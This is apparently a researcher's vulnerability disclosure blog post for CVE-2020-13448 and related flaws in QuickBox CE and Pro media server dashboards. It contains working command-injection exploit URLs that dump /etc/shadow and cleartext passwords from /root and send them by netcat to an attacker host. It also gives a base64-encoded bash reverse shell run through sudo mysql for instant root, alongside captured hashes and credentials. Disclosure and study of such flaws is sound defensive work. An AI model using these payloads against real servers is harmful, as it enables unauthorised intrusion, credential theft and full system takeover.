29 MAY 2020 / CVE

CVE-2020-13448 - QuickBox - Authenticated RCE/Privilege Escalation

Impact

QuickBox CE <= v2.5.5 and QuickBox Pro <= 2.1.8 are both affected by an authenticated remote code execution (RCE) (*CVE-2020-13448*) and privilege escalation vulnerabilities (*CVE-2020-13694* and *CVE-2020-13695*).
A low-privileged user can execute arbitary commands on the server with the privileges of the user running the web server, and in turn escalate privileges to root by abusing weak sudo rules.

What is QuickBox?

QuickBox is a complete media server application and services management system, with a simplistic approach to achieving easy application installation and management from a beautifully designed dashboard, allowing users the ability to interact with their media server on a professional grade level.

Versions affected

- QuickBox CE v2.5.5 and prior
- QuickBox Pro v2.1.8 and prior

Vulnerability

Since this CVE covers two separate "versions" of QuickBox, with almost identical vulnerabilities, I have split the post into two parts; one for QuickBox CE and one for QuickBox Pro.

QuickBox CE (Community Edition)

The vulnerability is located in the file `/inc/config.php`. This file is mainly used to setup configuration parameters to be used later by the application. At the end of this file we see that it also accept a GET parameter which will be used, unsanitized, in a call to `shell_exec`, leading to a command injection vulnerability.

Below is a snippet of the vulnerable code from `config.php`:

```
switch (intval($_GET['id'])) {
/* restart services */
case 88:
  $process = $_GET['servicestart'];
    if ($process == "resilio-sync"){
      shell_exec("sudo systemctl enable $process");
      shell_exec("sudo systemctl restart $process");
    } elseif ($process == "shellinabox"){
      shell_exec("sudo systemctl enable $process");
      shell_exec("sudo systemctl restart $process");
    } elseif ($process == "emby-server"){
      shell_exec("sudo systemctl enable $process");
      shell_exec("sudo systemctl restart $process");
    } elseif ($process == "headphones"){
      shell_exec("sudo systemctl enable $process");
      shell_exec("sudo systemctl restart $process");
    } elseif ($process == "lidarr"){
      shell_exec("sudo systemctl stop $process");
      shell_exec("sudo systemctl disable $process");
    } elseif ($process == "nzbget"){
      shell_exec("sudo systemctl enable $process");
      shell_exec("sudo systemctl restart $process");
    } elseif ($process == "plexmediaserver"){
      shell_exec("sudo systemctl enable $process");
      shell_exec("sudo systemctl restart $process");
    } elseif ($process == "Tautulli"){
      shell_exec("sudo systemctl enable $process");
      shell_exec("sudo systemctl restart $process");
    } elseif ($process == "ombi"){
      shell_exec("sudo systemctl enable $process");
      shell_exec("sudo systemctl restart $process");
    } elseif ($process == "radarr"){
      shell_exec("sudo systemctl enable $process");
      shell_exec("sudo systemctl restart $process");
    } elseif ($process == "subsonic"){
      shell_exec("sudo systemctl enable $process");
      shell_exec("sudo systemctl restart $process");
    } elseif ($process == "transmission-daemon"){
      shell_exec("sudo systemctl enable $process");
      shell_exec("sudo systemctl restart $process");
    } elseif ($process == "qbittorrent"){
      shell_exec("sudo systemctl enable $process@$username");
      shell_exec("sudo systemctl restart $process@$username");
```

```
    } else {
      shell_exec("sudo systemctl restart $process@$username");
    }
```

Since we can control both `$_GET['id']` and `$_GET['servicestart']` we can inject our own commands into the last call to `shell_exec` and achieve remote code execution.

The complete vulnerable file can be found here:
https://github.com/QuickBox/QB/blob/6f4253d82ccfdc85641fa6b27712569890687482/dashboard/inc/config.php

Exploit

Exploiting this vulnerability is pretty straight forward.

By sending a GET request to the following URL: `https://<QUICKBOX-CE-IP-ADDRESS>/inc/config.php?id=88&servicestart=a;<COMMAND-HERE>;` the command is executed on the server as the www-data user.

Dump /etc/shadow

Upon further analysis we found that the www-data user can run quite a few commands and programs as root using sudo - *without a password*.
One of the commands that can be executed is `grep`.
But since the output of the command executed by `shell_exec` isn't displayed on the website, we won't see any output when trying to exfiltrate sensitive information.

One way to get a around this limitation is to use grep to write the contents of `/etc/shadow` to a file we can read from and use netcat to send the file back to our listener.

If we setup a netcat listener and visit the following URL we can trigger the exploit and receive the output of `/etc/shadow`:
`https://<QUICKBOX-CE-IP-ADDRESS>/inc/config.php?id=88&servicestart=a;sudo+grep+.+/etc/shadow+>pwds;nc+<OUR-IP-ADDRESS>+9001+<+pwds;rm+pwds;`

```
s1gh@kali~$: nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.1.126] from (UNKNOWN) [192.168.1.250] 58814
root:$6$lYAppqO4$ParMSRU7IDtSULWHfA4sy8iQCm9/nJP.RksoLau0zBHp0VPbOfYBipZlcQ8VVvnvArRC37r3y/hBLgYRDZ5:18406:0:99999:7:::
daemon:*:17920:0:99999:7:::
bin:*:17920:0:99999:7:::
sys:*:17920:0:99999:7:::
sync:*:17920:0:99999:7:::
games:*:17920:0:99999:7:::
man:*:17920:0:99999:7:::
lp:*:17920:0:99999:7:::
mail:*:17920:0:99999:7:::
news:*:17920:0:99999:7:::
uucp:*:17920:0:99999:7:::
proxy:*:17920:0:99999:7:::
www-data:*:17920:0:99999:7:::
backup:*:17920:0:99999:7:::
list:*:17920:0:99999:7:::
irc:*:17920:0:99999:7:::
gnats:*:17920:0:99999:7:::
nobody:*:17920:0:99999:7:::
systemd-timesync:*:17920:0:99999:7:::
systemd-network:*:17920:0:99999:7:::
systemd-resolve:*:17920:0:99999:7:::
systemd-bus-proxy:*:17920:0:99999:7:::
syslog:*:17920:0:99999:7:::
_apt:*:17920:0:99999:7:::
postfix:*:17920:0:99999:7:::
sshd:*:17920:0:99999:7:::
uuidd:*:17920:0:99999:7:::
messagebus:*:17920:0:99999:7:::
s1gh:$6$hf2vF79G$APAqRRKp4Jax27xzZE1npHlumLWaDsgaHo3z/Sw6Z3tEnemam9h.EB1pXFx1Jy9mZ/jqaQoTBlL7TphlAZb210:18406:0:99999:7:::
memcache:!:18406:0:99999:7:::
vnstat:*:18406:0:99999:7:::
debian-deluged:*:18406:0:99999:7:::
ftp:*:18406:0:99999:7:::
shellinabox:*:18406:0:99999:7:::
test:$6$qPhsfmxz$Jm529ZLBiigWAhcRO3svLm4HLRFZsYgkWso0dTa2d6Bxb8UJd6LuCI1AVaOutXVheu2Z2iWugRQFQLeZGCecp.:18406:0:99999:7:::
s1gh2:$6$zaGzrHfj$1Qgs5AWlruq2YJpPFs6TjO2QNtd.WpiAV7WMV9aQE1nJKAC1LdYTh/52/HkvBeYkBhzob/E1q6JwJp6zKGRHx.:18406:0:99999:7:::
```

Privilege escalation

Investigating further we found that the cleartext password of every QuickBox CE user is stored in *.db files in `/root`.
Since we can run `grep` as root we can dump all admin and non-admin passwords, and exfiltrate the passwords in the same way we did with `/etc/shadow`. This in turn gives us a way to escalate our privileges to that of the admin user. And since the admin user can `sudo su` without a password, we can now gain root access.

To trigger the exploit, setup a netcat listener and visit the following URL:
`https://<QUICKBOX-CE-IP-ADDRESS>/inc/config.php?id=88&servicestart=a;sudo+grep+-R+.+/root/+--include="*.info">pwds;nc+<OUR-IP-ADDRESS>+9001<pwds;`

```
s1gh@kali~$: nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.1.126] from (UNKNOWN) [192.168.1.250] 59136
/root/s1gh2.info:s1gh2 : Password1234
/root/s1gh2.info:1GB
/root/information.info:  Seedbox can be found at https://s1gh:Password1234@192.168.1.250 (Also works for FTP:5757/SSH:4747)
/root/information.info:  If you need to restart rtorrent/irssi, you can type 'reload'
/root/information.info:  https://s1gh:Password1234@192.168.1.250 (Also works for FTP:5757/SSH:4747)
/root/test.info:test : test
/root/test.info:1GB
/root/s1gh.info:#   https://s1gh:Password1234@192.168.1.250 (Also works for FTP:5757/SSH:4747)
```

The information.info file will contain the admin user credentials. In this case: `https://s1gh:Password1234@192.168.1.250 (Also works for FTP:5757/SSH:4747)`

With these credentials we can now ssh into the server and escalate our privileges to the root user.

```
s1gh@kali~$: ssh s1gh@192.168.1.250 -p 4747
s1gh@192.168.1.250's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 5.3.18-3-pve x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


2 packages can be updated.
0 updates are security updates.

New release '18.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun May 24 20:53:02 2020 from 192.168.1.126
 Welcome Back !
    * Dashboard:  https://192.168.1.250
    * Support:    https://plaza.quickbox.io
    * Donate:     https://quickbox.io/donate

[s1gh@Ubuntu1604]:(0b)~$ sudo su


|=====================================================================|
|---------------------------------------------------------------------|
|  ###################   This Server is OFF limits   ###################|
|---------------------------------------------------------------------|
     You are running QuickBox v2.5.5
     Your logged IP is 192.168.1.126:0.0
     Your BASH version is 4.3
     Mon May 25 21:16:30 UTC 2020
|=====================================================================|


Ubuntu1604:/home/s1gh# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
```

QuickBox Pro

Due to a partially shared code base between CE and Pro, exactly the same command injection vulnerability can be found in the Pro version.
The only difference is that `/inc/config.php` no longer exist and part of the source code is encrypted, so we had to manually find the injection point.

After a while we found the injection point in `index.php`.
The exact same parameters as with the CE version can be abused to achieve RCE.

Exploit

By sending a GET request to the following URL: `https://<QUICKBOX-PRO-IP-ADDRESS>/index.php?id=88&servicestart=a;<COMMAND-HERE>;` the command is executed on the server as the www-data user.

Privilege Escalation

Since the www-data user can execute `sudo mysql` without a password, we can modify our GET request in such a way that we get a reverse shell as root instantly instead of first getting a shell as the www-data user and then doing the privilege escalation.

Our reverse shell will have a few "bad characters", so first we create a base64 encoded string of the following reverse shell: `bash -i >& /dev/tcp/<YOUR-IP>/<YOUR-PORT> 0>&1`

```
s1gh@kali~$: echo -n "sudo mysql -e '\! /bin/bash -c \"bash -i >& /dev/tcp/192.168.1.126/9001 0>&1\"'" | base64
c3VkbyBteXNxbCAtZSAnXCEgL2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMS4xMjYvOTAwMSAwPiYxIic=
```

Now that we have the base64 encoded reverse shell, we can visit the following url in order to trigger the exploit (*remember to first setup a netcat listener on your chosen port*):

`https://<QUICKBOX-PRO-IP-ADDRESS>?id=88&servicestart=a;echo+<BASE64-ENCODED-STRING>|base64+-d|bash;`

```
s1gh@kali~$: nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.1.126] from (UNKNOWN) [192.168.1.250] 46862
bash: cannot set terminal process group (135): Inappropriate ioctl for device
bash: no job control in this shell


|=====================================================================|
|---------------------------------------------------------------------|
|  ###################   This Server is OFF limits   ###################|
|---------------------------------------------------------------------|
     You are running QuickBox v2.5.5
     Your logged IP is :0.0
     Your BASH version is 4.4
     Fri May 29 07:30:25 UTC 2020
|=====================================================================|



|=====================================================================|
|---------------------------------------------------------------------|
|  ###################   This Server is OFF limits   ###################|
|---------------------------------------------------------------------|
     You are running QuickBox v2.1.8
     Your logged IP is :0.0
     Your BASH version is 4.4
     Fri May 29 07:30:26 UTC 2020
|=====================================================================|
```

```
|=======================================================================|
|-----------------------------------------------------------------------|
|  Just type any one of the following commands                          |
|  to turn on different bash prompts                                    |
|-----------------------------------------------------------------------|
|  commandprompt_on                                                     |
|  this prompt shows last command used & more                           |
|  powerprompt_on (default)                                             |
|  this prompt shows colorful system data - cpu, load etc.              |
|  basicprompt_on                                                       |
|  this prompt shows color coded load & cpu avg                         |
|  prompt_OFF                                                           |
|  this turns off prompts and goes back to default                      |
|=======================================================================|


380/2048MB      0.99 1.35 1.60 1/817 6682
[21016:21015 0:37] 07:30:26 Fri May 29 [root@QB-PRO] /srv/quickbox
(2:37)# whoami;id
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
```

References

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13448
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13694
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13695
- https://www.exploit-db.com/exploits/48536
- https://github.com/s1gh/QuickBox-CE-2.5.5-Authenticated-RCE

— ./s1gh.sh —
CVE

CVE-2020-27985 - Security Onion - Local Privilege Escalation

1 post →

TRYHACKME

TryHackMe: Wonderland

New week, new challenge. This is my writeup of the Wonderland machine.

06 JUNE 2020 7 MIN READ

HACKTHEBOX

Hack The Box: RedCross

Info Name: RedCross IP Address: 10.10.10.113 Operating System: Linux Difficulty: 6.3/10 Base Points: 30 Enumeration As always we start with a nmap scan to determine which ports are

13 APRIL 2019 10 MIN READ